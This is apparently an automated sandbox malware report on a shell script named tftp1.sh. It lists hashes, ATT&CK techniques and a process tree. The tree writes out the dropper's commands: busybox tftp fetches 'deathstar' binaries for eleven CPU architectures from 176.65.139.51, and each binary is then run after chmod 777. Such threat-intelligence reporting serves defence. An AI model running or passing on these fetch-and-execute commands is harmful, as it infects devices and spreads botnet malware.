53f968f2ce03864df83613b090d716767ddeb20562438de9b5687e8152397d20

Analysis

max time kernel
144s
max time network
145s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/10/2026, 08:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tftp1.sh
Size 1KB
Sample261027-j45sqada74
SHA256 53f968f2ce03864df83613b090d716767ddeb20562438de9b5687e8152397d20
MD5 f8ea1b48beb0055a366bbeeed9fc1544
SHA1 37e52e1b9cb4a99eef0ddff688ce77acfed52218
SHA512 7467f70c4d174abd3e21dc263f265a898ef068a3c68859877577efb533fda80a059a57f9ed7c9258aeed2d71c44c677c27594e92c6c2137848cc1393e5b2d02a
TLSH
T19A41987037DB20B78B920B0DFB01D76BAA57A8FD0A5E4D048D6DB1F0F1D9548A322364
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
825	chmod
831	chmod
834	chmod
840	chmod
843	chmod
813	chmod
819	chmod
822	chmod
828	chmod
837	chmod
810	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/deathstarx86_64	811	tftp1.sh
/tmp/deathstarmips	814	tftp1.sh
/tmp/deathstarmipsel	820	tftp1.sh
/tmp/deathstararmv4l	823	tftp1.sh
/tmp/deathstarpowerpc	826	tftp1.sh
/tmp/deathstararmv7l	829	tftp1.sh
/tmp/deathstararmv5l	832	tftp1.sh
/tmp/deathstararmv6l	835	tftp1.sh
/tmp/deathstarm68k	838	tftp1.sh
/tmp/deathstarsh4	841	tftp1.sh
/tmp/deathstarsparc	844	tftp1.sh

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
812	busybox
814	deathstarmips
815	busybox
820	deathstarmipsel

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/deathstarx86_64	busybox
File opened for modification	/tmp/deathstarmips	busybox
File opened for modification	/tmp/deathstararmv4l	busybox
File opened for modification	/tmp/deathstararmv7l	busybox
File opened for modification	/tmp/deathstararmv5l	busybox
File opened for modification	/tmp/deathstararmv6l	busybox
File opened for modification	/tmp/deathstarm68k	busybox
File opened for modification	/tmp/deathstarsh4	busybox
File opened for modification	/tmp/deathstarmipsel	busybox
File opened for modification	/tmp/deathstarpowerpc	busybox
File opened for modification	/tmp/deathstarsparc	busybox

/tmp/tftp1.sh
/tmp/tftp1.sh
1⤵
- Executes dropped EXE
PID:708
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarx86_64 -l deathstarx86_64
  2⤵
  - Writes file to tmp directory
  PID:711
- /bin/chmod
  chmod 777 deathstarx86_64
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/deathstarx86_64
  ./deathstarx86_64
  2⤵
  PID:811
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarmips -l deathstarmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /bin/chmod
  chmod 777 deathstarmips
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/deathstarmips
  ./deathstarmips
  2⤵
  - System Network Configuration Discovery
  PID:814
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarmipsel -l deathstarmipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 deathstarmipsel
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/deathstarmipsel
  ./deathstarmipsel
  2⤵
  - System Network Configuration Discovery
  PID:820
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstararmv4l -l deathstararmv4l
  2⤵
  - Writes file to tmp directory
  PID:821
- /bin/chmod
  chmod 777 deathstararmv4l
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/deathstararmv4l
  ./deathstararmv4l
  2⤵
  PID:823
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarpowerpc -l deathstarpowerpc
  2⤵
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod 777 deathstarpowerpc
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/deathstarpowerpc
  ./deathstarpowerpc
  2⤵
  PID:826
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstararmv7l -l deathstararmv7l
  2⤵
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod 777 deathstararmv7l
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/deathstararmv7l
  ./deathstararmv7l
  2⤵
  PID:829
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstararmv5l -l deathstararmv5l
  2⤵
  - Writes file to tmp directory
  PID:830
- /bin/chmod
  chmod 777 deathstararmv5l
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/deathstararmv5l
  ./deathstararmv5l
  2⤵
  PID:832
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstararmv6l -l deathstararmv6l
  2⤵
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 deathstararmv6l
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/deathstararmv6l
  ./deathstararmv6l
  2⤵
  PID:835
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarm68k -l deathstarm68k
  2⤵
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod 777 deathstarm68k
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/deathstarm68k
  ./deathstarm68k
  2⤵
  PID:838
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarsh4 -l deathstarsh4
  2⤵
  - Writes file to tmp directory
  PID:839
- /bin/chmod
  chmod 777 deathstarsh4
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/deathstarsh4
  ./deathstarsh4
  2⤵
  PID:841
- /bin/busybox
  busybox tftp 176.65.139.51 -g -r deathstarsparc -l deathstarsparc
  2⤵
  - Writes file to tmp directory
  PID:842
- /bin/chmod
  chmod 777 deathstarsparc
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/deathstarsparc
  ./deathstarsparc
  2⤵
  PID:844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads